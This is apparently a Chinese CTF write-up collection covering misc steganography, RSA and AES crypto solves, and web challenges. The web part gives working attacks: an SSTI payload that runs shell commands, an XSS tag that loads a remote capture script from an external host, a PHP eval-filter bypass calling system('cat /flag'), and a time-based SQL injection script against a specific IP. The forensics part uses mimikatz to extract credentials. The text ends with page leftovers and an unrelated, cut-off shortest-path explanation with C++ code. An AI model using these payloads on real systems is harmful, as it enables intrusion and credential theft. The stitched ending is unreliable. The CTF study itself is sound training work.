在这里插入图片描述

解压之后有两张图片,因为未加密的图片是bmp格式,优先试LSBwbstego,后者解密出key:虾仁猪心

解压出flag.png,是疯狂动物城里的一幕,结合题目意思可以知道需要找出这张图对应的字幕,是You know you love me
在这里插入图片描述
对应题目描述,这句台词大概是密码,应该是某种隐写,不过试了一圈都没解出来…

原来不能直接用图片里的台词,得全换成小写,还得去掉空格,才是正确的密码…
在这里插入图片描述
最后一步是有密码的lsb隐写,就很迷惑,空格是可以作为lsb隐写的密码的一部分的,把台词处理过后作为密码,当成一个脑洞点…不理解

python2 lsb.py extract flag.png out.txt youknowyouloveme

TLS

看题目名可以知道本题考察TLS报文的解密,这里用wireshark演示

首先编辑—> 首选项—>RSA密钥,把给的密钥文件选中
在这里插入图片描述
然后得到flag
在这里插入图片描述

图片里的中文

提示rot47,压缩包注释信息里的密文拿去解密得到Add 5D honey to me,给密文MD5加密一下得到压缩包密码e950c89788db4042193830f49d273512。我的脑洞仅局限于把5D转为十进制,可能对应某个base家族,结果是93

咱也不懂为啥是MD5,而且不理解为什么提示是Add 5D honey to me,但不是给这句话MD5加密,而是给密文MD5加密
在这里插入图片描述
解压得到password.txtkey.png,前者内容是AecvWpF9YinwVc7tvKfCGWt28oYiucpd5MEWhghGaaLWKfgTEywz5hmRREEi,这里继续试…

bugku的在线工具、cyberchef等工具均未解出,最后在某网站成功解base58

解出iEeWwc2oGX/DzzdaM1/tdvaWGRodocuXoPMJpAUYMaI=,应该是AES,下面找密码,这是神剧《让子弹飞》里的名场面,这里的台词应该是杀人还要诛心?,结合题目名可以知道这就是密码。
请添加图片描述
接着就是到各个在线网站疯狂试,最后在某网站成功解出

值得一提的是,选项一样的情况下,去其他几个常用的网站会报错(包括作者给的网站),总之没有技巧,试就完了
在这里插入图片描述

miko不会jvav啊

第一步仍然是找密码,依旧使用strings命令,把流量包里所有字符串存起来作为字典

这里是rar5.0加密,用Accent RAR Password Recovery进行爆破,得到密码Latifa-Fleuranza (非预期)

剩下步骤同学不会jvav我哭辽

学不会jvav我哭辽

拿到一个流量包和加密的压缩包,先用strings命令看一下流量包里有哪些字符串,挨个试了一下都不是密码…

不过其中有这样一句:
在这里插入图片描述
于是找到对应的mysql数据流,一个个看
在这里插入图片描述
发现多组可疑的数字
在这里插入图片描述
看着像八进制的数,转字符得到密码
在这里插入图片描述
解压出一个exe文件,按照题目提示需要再一步逆向,但是没找到exe转jar的方法,于是尝试使用逆向工具,ida没撸出来,ce可以

请添加图片描述

黑客的照片

文件尾部有一段flag:flag{m1s,和压缩包的数据

formost提取出两个压缩包,其中一个是提示,简单rsa拿到密码I_1ove_mumuz1!

from Crypto.Util.number import *
import gmpy2

e = 65537
p = 164350308907712452504716893470938822086802561377251841485619431897833167640001783092159677313093192408910634151587217774530424780799210606788423235161145718338446278412594875577030585348241677399115351594884341730030967775904826577379710370821510596437921027155767780096652437826492144775541221209701657278949
q = 107494571486621948612091613779149137205875732174969005765729543731117585892506950289230919634697561179755186311617524660328836580868616958686987611614233013077705519528946490721065002342868403557070176752015767206263130391554820965931893485236727415230333736176351392882266005356897538286240946151616799180309
c = 17210571768112859512606763871602432030258009922654088989566328727381190849684513475124813364778051200650944085160387368205190094114248470795550466411940889923383014246698624524757431163133844451910049804985359021655893564081185136250014784383020061202277758202995568045817822133418748737332056585115499621035958182697568687907469775302076271824469564025505064692884524991123703791933906950170434627603154363327534790335960055199999942362152676240079134224911013272873561710522794163680938311720454325197279589918653386378743004464088071552860606302378595024909242096524840681786769068680666093033640022862042786586612
n= p*q
d = int(gmpy2.invert(e , (p-1) * (q-1)))
m = pow(c ,d ,n)
#passwd:I_1ove_mumuz1!
print(long_to_bytes(m))

另一个压缩包需要手动提取,解压后得到flag2.jpgflag3.png

flag2.jpg修改图片高度
在这里插入图片描述
flag3.png是stegpy隐写
在这里插入图片描述

look

后缀改为zip,解压出look.bmp,stegsolve打开,分别在R0、G0、B0通道发现隐写痕迹,提取得到flag,zsteg应该也能一把梭

美丽的烟火

先解zip伪加密

java -jar ZipCenOp.jar r 美丽的烟火.zip

拿到password.txt,base64-base58-栅栏
请添加图片描述
请添加图片描述

图片的文件尾有stegpy:shumu,所以用stegpy解密,密码是shumu,解出一串字符aZgs8ImPpQOzO3CVA/wIUVq/M7X8C33ptNZSW2Blenc=

最后找一个在线网站解密就行

个别网站不太行,可以试试下面这两个

http://tool.chacuo.net/cryptaes/
https://the-x.cn/zh-cn/cryptography/Aes.aspx

disordered_zip

binwalk看一下可以发现有俩文件,foremost只能梭出来png
在这里插入图片描述
png图片是一个缺了俩定位符的二维码,简单补全扫码得到psw:yeQFPDS6uTaRasdvwLKoEZq0OiUk,这个地方很有迷惑性,psw会被认为是password的简写,从而认为后面这个就是密码,其实还得解一手栅栏(在线网站)
在这里插入图片描述
得到了密码vyweLQKFoPEDZSq60uOTiaURk,回头把zip拿出来。这里很明显是加密的zip文件的特征(可以找一个zip加密文件对照着看)
在这里插入图片描述
这里是zip加密文件的文件头位置,在最前面补上504B即可。
请添加图片描述
输入密码,解压出的flag其实是个pdf文件,修复文件头后补上后缀请添加图片描述
这里是pdf文件,相关隐写很容易想到webstego4open,解密得到flag
在这里插入图片描述

easypicture

图片尾有额外数据,提取出加密的压缩包,爆破得到密码0707

得到俩图片和hint:你喝过咖啡吗?你见过彩色的图片吗?,这里其实提示的是stegsolve

先看ciphertext.png,文件尾有个提示AES,ECB,用stegsolve简单翻找没有找到,直接用ztseg

zsteg -a ciphertext.png 

结合提示找到一串密文rcPr04H36Qj+7vt9YFA2KbRyD0yEg+y7mTAQHC82CBM=

接着找key.jpg中藏着的密钥,挨个试工具,最后发现是java盲水印
项目地址:https://github.com/ww23/BlindWaterMark/releases
使用命令:java -jar BlindWatermark.jar decode -c bingbing.jpg decode.jpg

请添加图片描述
最后到在线网站解密即可

再也没有纯白的灵魂

题目名即为提示,后一句是自人类堕落为半兽人,直接观察密文也能看出来这是兽音译者

~呜嗷BBBUBGUUBUUKBBKGBGUBBKBKBKUUBUGBBBUGUKGUBUUKBUUGBGUBBUBKBKUBBKBBBBUGUKUUBUUKBKKGBGUBBBBKBKUUBKUBBBUUBBBUBUUKUGGGBGUBBBKKBKUUBGBBBBUUBBBUBUUKUGGGBGUBBBKKBKUUBKGBBBUGUGBUBUUGBUBGBGUBUKUKBKUUBUBBBBUGBBUUBUUKUUB啊

这种加密由嗷呜啊~四个字符组成,这里替换成了BUGK,找出规律替换回去

B-嗷   U-呜   G-啊   K-~

不过解出来的是乱码,和正常加密的密文对比一下
在这里插入图片描述
可以发现这个位置少了一个啊,加上之后就能解出来了

easy_python

每次运行game.py,先会读取.level文件中的内容,即玩家现在的等级,每次战斗后玩家会升一级,攻击力和防御力提升,而怪物的血量和防御力是不会变的,大概算一下就行。

不想算的话就修改.level文件中的内容,然后运行game.py,最后的答案应该是56390,base64编码后套上flag{}即可

简单套娃DX

下载得到8080个无后缀文件,随便用010editor打开几个,发现都是png文件,不过都存在一些问题,先写脚本给这些文件加上png后缀
在这里插入图片描述

import os

path = r'E:\desktop\XD'  #文件夹所在地址
for i in os.listdir('./XD'):    #文件夹名字
    oldname = os.path.join(path,i)
    newname = os.path.join(path,i+'.png')
    os.rename(oldname,newname)

加上后缀后只有一部分文件可以正常打开,剩下的就需要修改,前面发现部分文件缺失了8字节文件头,写脚本对这种文件进行修复,成功修复了1046个文件,说明还有很多图片是其他种类的错误,需要一一找出

import os

out = 'output' #存放修复后的文件的文件夹
if not os.path.exists(out):
    os.makedirs(out)
for i in os.listdir('./XD'):    #文件夹名字
    file = open('./XD/'+i, 'rb').read()
    if file[1:4] != b'PNG':
        file = int(0x89504E470D0A1A0A).to_bytes(8, 'big') + file

        f = open('./output/' + i + '.png','wb')
        f.write(file)
        f.close()

比如说有一些文件是IDAT块跑到IHDR块前面去了
在这里插入图片描述
这个过程最好是拿一个正常的png文件过来进行比对,同时使用010editor的模板功能,可以节省很多时间,最后发现有如下几类错误

1.文件头缺失8字节(89504E470D0A1A0A) 如aAnLOyuK文件
2.IDAT块跑到IHDR块前面。如aAWyDGMo文件
3.IHDR块的长度位和标记位替换为00。如aAFRoNjh文件
4.图片的宽高被修改了(正确的应该是5*5) 如abFdgotH文件
5.Color type被修改成不是0的数。 如ABmgLXTn文件
6.IDAT块的长度被改为0. 如aAWrIqiP文件
7.IDAT块标记位被删除。如abQZgrjo文件

八神师傅还是很贴心的,每个文件最多一种错误,而且翻了前十个文件就能找出所有种类的错误,写出最终脚本。

import os

out = 'output' #存放修复后的文件的文件夹
if not os.path.exists(out):
    os.makedirs(out)
for i in os.listdir('./XD'):    #文件夹名字
    file = open('./XD/'+i, 'rb').read()
    if file[1:4] != b'PNG': #文件头缺失
        file = int(0x89504E470D0A1A0A).to_bytes(8, 'big') + file
    elif file[8:16] == b'\x00\x00\x00\x00\x00\x00\x00\x00': #IHDR块的长度位和标记位替换为00
        file = file[:8] + int(0x0000000D49484452).to_bytes(8, 'big') + file[16:]
    elif file[33:37] == b'\x00\x00\x00\x00' and file[37:41] == b'IDAT': #IDAT块的长度被改为0
        len_idat = file.index(b'eXIf') - 49
        file = file[:33] + int(len_idat).to_bytes(4, 'big') + file[37:]
    elif file[12:16] != b'IHDR': #IHDR块位置错误
        file = file[:8] + file[-37:-12] + file[8:-37] + file[-12:]
    elif file[16:24] != b'\x00\x00\x00\x05\x00\x00\x00\x05': #图片宽高被修改
        file = file[:16] + int(0x0000000500000005).to_bytes(8, 'big') + file[24:]
    elif file[1:4] == b'PNG' and file[12:16] == b'IHDR' and file[37:41] != b'IDAT': #IDAT块标记位被删除
        file = file[:37] + b'IDAT' + file[37:]
    elif file[1:4] == b'PNG' and file[12:16] == b'IHDR' and file[25] != b'\x00':  # Color type被修改
        file = file[:25] + b'\x00' + file[26:]
    f = open('./output/' + i, 'wb')
    f.write(file)
    f.close()

随后得到了8080个5*5的小方块,挨个查看它们的exif信息,可以发现这两个值均不相同,写脚本挨个输出,发现x对应的最大值是449,y对应的是19,应该是坐标
在这里插入图片描述
写脚本画图

import os
from PIL import Image

img = Image.new('RGB',(450*5,20*5),(255,255,255)) #乘以5是因为一张小图是5*5
for i in os.listdir('./output'):    #文件夹名字
    file = open('./output/'+i, 'rb').read().hex()
    x = int(file[-64:-56], 16) #x坐标
    y = int(file[-48:-40], 16) #y坐标
    x*=5
    y*=5
    im = Image.open('./output/'+i)
    img.paste(im,(x,y,x+5,y+5))

img.save('out.png')

在这里插入图片描述

做题要细心-1

这个位置有一串二进制,拿出来
在这里插入图片描述
注意到file.gif文件尾有额外数据,看特征是文件头不全的gif文件
在这里插入图片描述
补全文件头,010editor打开,在类似的位置看到另一串二进制
在这里插入图片描述
连在一起,转字符得到Nnb77_buG},查看第二个gif的exif信息,发现一个字符串,base64解码得到{Ax_S
在这里插入图片描述
第二个图片的第20帧有一串字符,md5解密得到bugku,至此flag找全了
在这里插入图片描述

简单取证1

下载得到windows系统下一个目录,获取用户名和密码需要用SAMsystem两个文件。

把SAM和SYSTEM文件放到Win32文件夹下,运行mimikatz,执行命令
在这里插入图片描述
在这里插入图片描述
所以flag{administrator-QQAAzz_forensics}

南城旧梦

mmz.bmp文件尾有一段DE@@=<6J:DB625K4,rot47解码后得到stoolkeyisqeadzc

意思是使用工具stool,密码是qeadzc,这个工具使用的话要直接把图片拖进去,解密的话是这个选项,输入密码就可以解出Key.txt,得到把酒言欢.rar的密码mmzbudaiwowuwuwu~~~##
请添加图片描述
倾听.txt是SNOW隐写,解密可以得到密码表

(1)1 2 3 4 5 6                    (2)1 2 3 4 5 6                  (3)1 2 3 4 5 6
   ! @ # $ % ^                       p f f d e h                     v f s a e y

(4)1 2 3 4 5 6                    (5)1 2 3 4 5 6                  (6)1 2 3 4 5 6
   / * - + . ?                       F G S F H H                     " " / \ | :    

(7)1 2 3 4 5 6                    (8)1 2 3 4 5 6                  (9)1 2 3 4 5 6
   r o k u g s                       f J L Y G W                     J O P N G W

(10)1 2 3 4 5 6
    F S A S D T

游戏规则在九菊.docx中有描述
在这里插入图片描述
看不懂规则,所以用密码表中所有的字符组成字符串,用Accent RAR Password Recovery爆破

!@#$%^pffdehvfsaey/*-+.?FGSFHH/\|:rokugsfJLYGWJOPNGWFSASDT

最后跑出密码是%ee.,解压出keygpg两个无后缀文件。

key中的内容是

;3%5;3%5;3%5;2 ;5 ; ;%4;3%5;4 ;5
;2 ;open _ ,$0;2 ; ;5 ; ;3;2 ;1%2;4 ; ;5 ;3 ;5
;2 ;7 ;5 ; ;;while (<_>) { ;5 ; ;5 ;1%6;2
;3%5;2%7; ;7 ;2;s;%; ;g;3 ;1%7;2; ;5
;8 ; ;;s’([; ])(\d)’ $1x$2 ; ‘ge;; ; s’\S’;'g; ;4;
s; ;#;g; ; ;5 ; ;5 ; ;5 ; ;5 ; s;;; ;g; ;3 ;
;3%5;3%5;3%5;3%5;; print ;}%5;5%3;2

这个是混淆后的perl代码,直接运行得到secunet
在这里插入图片描述
另一个gpg的话可以在kali下直接运行,输入密码secunet即可

在这里插入图片描述

成果狗成果狗

图片文件尾有额外数据,是一段base64+一个jpg文件的数据+另一段base64,这里按照先后命名为图片1、图片2、bs1、bs2.

两段base64解完再hex解密,没有什么特征…结合题目描述,把bs1经过base64解码后得到数据放到图片1文件尾部(插入FFD9之前),接着图片高度改高。
在这里插入图片描述
另一段同理。

Crypto

你了解CBC吗

爆破下就行

from Crypto.Cipher import AES
from Crypto.Util.number import *
import base64

xor = 252369267708781763135546880686284112070
cipher = b'VmRpnFd4Avj21+aL7CLSBn027HoNnAPSpq+zagj+RFk='
enc_flag = base64.b64decode(cipher)

for i in range(65536):
    key = bin(i)[2:].zfill(16)*8

    iv = long_to_bytes(int(key,2)^xor)
    try:
        aes = AES.new(long_to_bytes(int(key, 2)), AES.MODE_CBC, iv)
        flag = aes.decrypt(enc_flag)
        if b'flag{' in flag:
            print(flag)
            print(iv)
            print(long_to_bytes(int(key, 2)))
            break
    except:
        pass

MaybeEasyRSA

爆破

from gmpy2 import *
from Crypto.Util.number import *
from sympy import nextprime

n = 1058756604181685917958185571746711428601045466594619627088399455470892502310139608978164573773765910533535849969889860275644658086339362201840191861497991951344100284004205747279828567835277683
c = 643011921358774538378881505518732362708757638007688649119354348647468190640688857686213431516881297805187671774564672497176686191162897918672339254715366498963369868410476737543157157149810569
e = 65537

r_prox = iroot(n, 10)[0]
for r in range(r_prox - 2000, r_prox + 2000):
    p1 = r ** 5 + r ** 4 - r ** 3 + r ** 2 - r + 2024
    q1 = r ** 5 - r ** 4 + r ** 3 - r ** 2 + r + 2024
    p = nextprime(p1)
    q = nextprime(q1)
    if p * q == n:
        d = invert(e, (p - 1) * (q - 1))
        print(long_to_bytes(pow(c, d, n)))
        break

easy_hash

import hashlib

def compute_md5(char):
    md5_flag = hashlib.md5(char.encode())
    return md5_flag.hexdigest()

s = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789_-{}'
dic = {}
for i in s:
    dic[compute_md5(i)] = i

f = open('output','r')

for line in f.readlines():
    line = line.strip('\n')
    print(dic[line],end='')

f.close()

EasyMath

import gmpy2
from Crypto.Util.number import *

e = 0x10001
c = 819167649963114752409071690942828965596762225702125422224651455091514510699221689012200925546275830031560636434571675297352911785548562558995259185529739372065415320407815802186750343466069603564453133335339468465023669871194636196892019998935207213206263690388438074192184316296023645401077877114715985230518850300854162564541697624876005006316693763495665196932392860282743136069254457238426514217654211308356576587743413266816116398061386744037936492351734676350831535904555786373417782943462487966342446324586920268533217659394595673776791727030156809145044771214337720082482665839942679556775596805037563432378445332344070307192086425710019138340320155999228758718645401601922806183309005000232793295108264248107221425831137940764747440899967198929744597645010447079132413064685696595497031622178756728371427223009071172365660399862426808614310781649262366953422451061715753988547005171624561572800209843727720479076455447302266315465616082052292906817024385349625367335127791370192543189766366250792588949920001870810018187835769296432354197933863536721500934207233900135841304460719234606155627533870809427764337881255478336303687175976104216650172450886939797274047649899113069365776930432541285901134533586020261232876898556
x = 632789818728437249014397968661921775581544184224274756276433610798113468993672164321438530616013253289782663689077268876186151437864544302469108580709641566485290311420121506047579208345815027532791974738974313200169956832221919603190470863795222438259219096469376978228578380264663345353405438455186474301297012193183679157205629903265170130103917934683090733281473604073360246791105302237248347327779245961650717330972723138979527847182834557342036244971153338500301679961477335495638826895006083228659413981010440339548216034046748372206443701123739501069837327986187240490120446390477989503341189926203433991663521331801532805472205226609164816353391564959573141240378777470418994251339128482692796773797189201818245228107080728132313948392278762055786817726909473749863670490856099352687396397382321897116397931192027599070027627694680087783451302597521080702011592065963594511723809150300184064231573197933953378151145481864603829132945843828406023019349658403181028564910247213010151333549565330384930314823393041100958566895783471423052411323469971356896800670127810656782436426988914502569025478559937511734711601790440407326688723474002610311556839284338719325762246957198057778260962250609427063416142879689421634421458709
y = 643036772350048228226994649092616650645954632907587039823201793924675328231324332666556623349121829177212510871016658056913708287862858528109879661403451187304726709132260743678530717837451671681355571221280002404299107695652155670051078882192093123123561845252965958271768933274773257692931042446530995042732001095255062905223134293710172411977911384445547906762517497734345024155549903618728650384451421173225517825102299209880684634460331223065873651202939210708252359077003909032324005805452514172406303829425073706650894226101275953935372059009590759610077924785340813184927561117202564837188711962251575479458375013998344858887909613413912370566496257586437903234141740497499987400831528329286044181171784190933054960738806780037696966451373943646987424395266465375230570034361116196796918297724925148528750740437152338021273617526482564999975699692816362539898387887578959664017588135024295202965648259490954273611159737721618049049630608155576688331546213838011267525827596272825121479187503405108808503874817959024671313813455057255041638822640703012661546718752651979237589873357378433672292216062102553378571263015343101391160579720162709138758489316499316122410388218239186892007182433862338617140046642758913862484601497
z = 1699980137266557324344914328325272464132636282755221827458872463192020874135524827987217608051368206672934330683211276768709877840468972596490803759885813728690444018491934963720438572841678828429913822054802155884199440293180952789752415462639050713771680511777055884579458058757377759627744674844108633533334457344901084171274088270351873241352667334795523258220147308594499138453672732641220818083962784902673365318410315424514270533343700860737463941309778962170226910616237946542757166553717492195935533892236503442774023121626490914033401612167978954941330133300881931925497717512695171706212382578903001110920592500175461456995288709439779857319205707173662845644405055427904509419863606240680925061916382420684482076378518205523197463067938227019763990108007075242817656584738069628913136354101292332085988235385095314890393764303221439993179548360648981274242121283353602916815145403803542637335824051819986555363523349256992995614272850197795324686379321786728586563648175181401083465608646485432113720677594958984638724107125334720354094296357390072599568691394140689362397548059953034709737955082932844672007207996936767062822977154868592390902978952191044067944696085651546627109166427150923047360912876244376114967514367037960727491317506149228522989115013325839758536585180101058382614514947428328314724097308211883678572797106209083583109261376984483242047015474025283180602280795727273381785266819469972756514932048700356409177010293248246465560904863373454995512681663614120751469186425087937476277098506766986185341057569253541467185884718825148546913924405454412786581778526929471207590180161807679236125962298541766845327682689402342086818440002212258092785616843818868009803516765308135874826622684994974230341120600336001281979511703254112012642242186568042544945546342209510451281619322586082384591244651070733725666379203036

#x * p - y * q, y*q前面有负号
q = -1*z*gmpy2.invert(y,x) % x
p = (z + q*y)//x

n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(bytes.decode(long_to_bytes(m)))

No Ciphertext RSA

给了n、e、dp,可以求出p、q、d

/**
* Lazzaro @ https://lazzzaro.github.io
*/
import gmpy2 as gp

e = 65537
n = 20446305236294581881140725938833605520023786992590821920806811572505477606387830733060901955371457846738863889279107367753914707053108524516947943610226964107558978693717655472431318403586269727573489946433389159145602800207787382180423611018458189828931572992863289292613405218278949739073786959411566919119158325510346523951336418479951932209799501108477995314359188860274532542630968951457343647522078553891223764285682602714616115281040492374167771746275218863543545907073818468841626731849010162645256595641473022327747346052186526727216525426337190917106751151745388854749923598231196090790074682287345100965373
dp =  158325084409606165134868956023907667507671677832027168046364315703295407017343206432691817272550256085313093440797443736742051552429653661451417133052016647805226890534559578502154540190596419643135611407218228612201386225040438407799879719366484669372051153511312310009858718254183049095347658106745575535469

for x in range(1, e):
	if(e*dp%x==1):
		p=(e*dp-1)//x+1
		if(n%p!=0):
			continue
		q=n//p
		phin=(p-1)*(q-1)
		d=gp.invert(e, phin)
print(p)
print(q)
print(d)

因为leak_c1=c%pleak_c2=c%q,可以很容易想到中国剩余定理(打蓝桥杯时的痛苦经历),这里用到py来的脚本

# -*- coding: UTF-8 -*-
def Get_Mi(m_list, M):  # 获取所有的Mi
    M_list = []
    for mi in m_list:
        M_list.append(M // mi)
    return M_list


def Get_ei_list(M_list, m_list):  # 取所有的Mi的逆元
    ei_list = []
    for i in range(len(M_list)):
        ei_list.append(Get_ei(M_list[i], m_list[i])[0])
    return ei_list


def Get_ei(a, b):
    # 计算ei

    if 0 == b:
        x = 1;
        y = 0;
        q = a
        return x, y, q
    xyq = Get_ei(b, a % b)
    x = xyq[0];
    y = xyq[1];
    q = xyq[2]
    temp = x;
    x = y;
    y = temp - a // b * y
    return x, y, q


def crt(a_list, m_list):
    # 计算中国剩余定理,返回计算结果
    M = 1  # M是所有mi的乘积
    for mi in m_list:
        M *= mi
    Mi_list = Get_Mi(m_list, M)
    Mi_inverse = Get_ei_list(Mi_list, m_list)
    x = 0
    for i in range(len(a_list)):  # 开始计算x
        x += Mi_list[i] * Mi_inverse[i] * a_list[i]
        x %= M
    return x


leak_c1 = 116908580792713727509554342060190793142033425411766631165842865699167747112494944492849392371565838125428644563687571660329763478509815200537676368326781342382868082294015200439334832938068779547847851748337854603115134732593759473453640093195977206450633212921689957303431235603192670553553803757864481012599
leak_c2 = 18319344794671185787719339480953236221170603508712466350928025351527616335735433941953520711516118072282425397883638101260674452825151245435529613074796106769481242318321469286177813223159476396555044378245229663195991557031227024085316255781963813911437991309663376270820486723382786632243229800891705679245
p = 176880281220421384276770426697672033095535078075714508749353553548240276323610202856692980610806418687790464096511235044404620241239340834109671075804268777866611345077962413424290036147269400193518437230146620445225908578474569771436035545465911591432888691958522976733082929634591293998871492096106249085747
q = 115594033971571906870674970630915982265473520658575817480573873228902478910162856689799762790434945040173985337386002280961456435302076145225402559274043951375941233922060296662348241974538390649557790352060766898957619823324331799986614029809180092244051635825912380759159031412761681296336889781840027922959

a_list = [leak_c1,leak_c2]
m_list = [p,q]
print(crt(a_list, m_list))

然后就是一般rsa的思路,直接解就行

RSSSSSA

看特征很明显是低加密指数广播攻击,关于原理的话可以看翅膀师傅的博客,出题脚本和解题脚本可参考这篇

where is flag 5

base64解码后转hex得

1b 1f 04 00 0f 12 08 12 1f 1d 00 11 0b 13 14 1f 0b 00 1d 1c 11 1e 1f 01 11 0c 1a 14 14 1f 1b 03 18 08 16 11 1f 1e 12 05 14 1d 19 1f 07 01 0d 10 15

因为每一组的第一位都是0或1

1100010111010111001111101011111010111110111100011
每七位转字符得bugku{c

不过找不到另一段flag了,转变思路,回过头base64解码后直接转二进制
在这里插入图片描述
取每一组二进制的后五位,因为这里共有49组二进制,再结合前面转hex时得到一部分flag的过程,很容易想到:竖着选取,7个一组

s = '00011011 00011111 00000100 00000000 00001111 00010010 00001000 00010010 00011111 00011101 00000000 00010001 00001011 00010011 00010100 00011111 00001011 00000000 00011101 00011100 00010001 00011110 00011111 00000001 00010001 00001100 00011010 00010100 00010100 00011111 00011011 00000011 00011000 00001000 00010110 00010001 00011111 00011110 00010010 00000101 00010100 00011101 00011001 00011111 00000111 00000001 00001101 00010000 00010101'
lt = [i[3:] for i in list(s.split())]

ind = 0

out = [''] * 35
for i in range(5):
    for j in range(len(lt)):
        if len(out[ind]) == 7:
            ind += 1  
        out[ind] += lt[j][i]      

for i in out:
    print(chr(int(i,2)),end="")

Web

CaaS1

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

过滤了很多关键字,还过滤了数字、()、%、#、|等等,还限制了长度不超过70

这里掏出羽师傅的ssti绕过总结

因为限制长度了,所以选择一个较短的payload

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

先想办法构造出关键字,以__globals__为例,上述文章中提到了拼接、反转、chr()、ascii转换等方法

结合黑名单和长度的限制,选择拼接的方法,因为ls被过滤了,所以要将其断开

""["__global""s__"]

然后借助request进行传参

这里使用request.args.xrequest.values.xrequest.cookiesrequest.form.x都可以
在这里插入图片描述

留言板1

依旧是找一个在线xss平台,记得勾选上keep session

会提供很多代码,注意这题过滤了空格、括号、script

比如平台提供的<sCRiPt/SrC=//0x.ax/llIU>,就需要改成<sCsCRiPtRiPt/SrC=//0x.ax/llIU>再提交,多试几种多提交几次就能收到flag了
在这里插入图片描述

ezbypass

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['code'])) {
    $code = $_POST['code'];
    if (strlen($code) <= 105){
        if (is_string($code)) {
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
                eval($code);
            } else {
                echo "Hacked!";
            }
        } else {
            echo "You need to pass in a string";
        }
    } else {
            echo "long?";
    }
}

参考ctfshow的rce大挑战的wp,过滤规则有一点不一样,这里过滤了所有数字,我用的全角数字绕过。姿势很多,自己探索下。

例如:

code=%24_%3D(%EF%BC%90%2F%EF%BC%90)._%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24__%3D%24_%2B%2B%3B%24__%3D%24_%2B%2B.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D'_'.%24__.(%24_%2B%2B).%24_%3B%24%24_%5B__%5D(%24%24_%5B_%5D)%3B&__=system&_=cat /flag

no selection

如题目名,过滤了selectwhere.等等,常规语句构造起来还是比较难受的

但是可以换个姿势
在这里插入图片描述
还有很多其他姿势,自己探索
在这里插入图片描述

留言板

考察的是xss,找个xss平台生成代码,多试几种,刷新完xss平台就可以接收到flag了

还试了时间盲注,不过卡在最后一步了

import requests

url = "http://114.67.175.224:13385/"

result = ''
i = 0


while True:
    i = i + 1
    j = 32
    while True:
        # payload = f'if(ascii(substr((select group_concat(username) from user),{i},1))>{mid},1,sleep(3))--+'
        # payload = f'if(ascii(substr((select group_concat(password) from user),{i},1))>{mid},1,sleep(3))--+'
        body = {
            #'content': f"0'XOR(if(ascii(substr(database(),{i},1))={j},sleep(4),0))XOR'Z"
            #xss
            #'content':f"0'XOR(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j},sleep(4),0))XOR'Z"
            #text,user
            #'content': f"0'XOR(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{i},1))={j},sleep(4),0))XOR'Z"
            #Host, se ,Selec _priv, nse t_ riv,Update_priv Delete_p iv,
            #'content': f"0'XOR(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='text'),{i},1))={j},sleep(4),0))XOR'Z"
            #Id,text
             'content': f"0'XOR(if(ascii(substr((select Id from text limit 0,1),{i},1))={j},,sleep(4),0))XOR'Z"

        }
        try:
            r = requests.post(url,data=body,timeout=2)
            j += 1
        except Exception as e:
            result += chr(j)
            print(result)
            break
  • 6
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 24
    评论
06-01
这道题是一道典型的费用限制最短路题目,可以使用 Dijkstra 算法或者 SPFA 算法来解决。 具体思路如下: 1. 首先,我们需要读入输入数据。输入数据中包含了道路的数量、起点和终点,以及每条道路的起点、终点、长度和限制费用。 2. 接着,我们需要使用邻接表或邻接矩阵来存储图的信息。对于每条道路,我们可以将其起点和终点作为一个有向边的起点和终点,长度作为边权,限制费用作为边权的上界。 3. 然后,我们可以使用 Dijkstra 算法或 SPFA 算法求解从起点到终点的最短路径。在这个过程中,我们需要记录到每个点的最小费用和最小长度,以及更新每条边的最小费用和最小长度。 4. 最后,我们输出从起点到终点的最短路径长度即可。 需要注意的是,在使用 Dijkstra 算法或 SPFA 算法时,需要对每个点的最小费用和最小长度进行松弛操作。具体来说,当我们从一个点 u 经过一条边 (u,v) 到达另一个点 v 时,如果新的费用和长度比原来的小,则需要更新到达 v 的最小费用和最小长度,并将 v 加入到优先队列(Dijkstra 算法)或队列(SPFA 算法)中。 此外,还需要注意处理边权为 0 或负数的情况,以及处理无法到达终点的情况。 代码实现可以参考以下样例代码: ```c++ #include <cstdio> #include <cstring> #include <queue> #include <vector> using namespace std; const int MAXN = 1005, MAXM = 20005, INF = 0x3f3f3f3f; int n, m, s, t, cnt; int head[MAXN], dis[MAXN], vis[MAXN]; struct Edge { int v, w, c, nxt; } e[MAXM]; void addEdge(int u, int v, int w, int c) { e[++cnt].v = v, e[cnt].w = w, e[cnt].c = c, e[cnt].nxt = head[u], head[u] = cnt; } void dijkstra() { priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> q; memset(dis, 0x3f, sizeof(dis)); memset(vis, 0, sizeof(vis)); dis[s] = 0; q.push(make_pair(0, s)); while (!q.empty()) { int u = q.top().second; q.pop(); if (vis[u]) continue; vis[u] = 1; for (int i = head[u]; i != -1; i = e[i].nxt) { int v = e[i].v, w = e[i].w, c = e[i].c; if (dis[u] + w < 